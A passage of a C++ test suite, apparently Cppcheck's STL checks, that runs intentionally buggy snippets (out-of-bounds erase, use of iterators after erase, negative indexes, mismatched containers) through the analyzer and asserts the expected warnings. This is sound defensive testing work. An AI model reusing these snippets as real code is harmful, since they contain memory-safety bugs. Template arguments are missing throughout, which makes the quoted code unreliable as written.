\"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" 